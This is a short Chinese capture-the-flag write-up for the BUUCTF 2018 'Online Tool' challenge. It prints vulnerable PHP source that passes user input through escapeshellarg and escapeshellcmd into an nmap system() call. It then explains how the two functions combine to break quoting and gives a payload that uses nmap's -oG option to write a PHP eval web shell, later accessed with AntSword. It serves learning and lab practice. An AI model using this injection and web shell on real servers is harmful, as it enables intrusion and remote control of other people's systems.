进入后,发现有源码(实话实说,不知道怎么绕过,我绕过两个esc后没用oG写入文件进行执行)
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
参考:[BUUCTF 2018]Online Tool-CSDN博客
首先,我们要知道escapeshellcmd和escapeshellarg的作用,这俩一旦连着用起来就有漏洞
假如用 a'2
escapeshellary在这里的作用是转义单引号并将其两侧用单引号套起来
''a\''2'
escapeshellcmd在这里的作用是对\添加\并对单引号进行转义(无法配对的单引号)
''a\\''2\'
所以我们可以利用该特性,构造转换后可以执行的语句
最后要用nmap的-oG来将该可执行代码写入指定文件内执行
所以最终playod:
'<?php eval($_POST["pass"]);?> -oG test.php '
上传成功后直接蚁剑连接即可
老样子还是在根目录下找到flag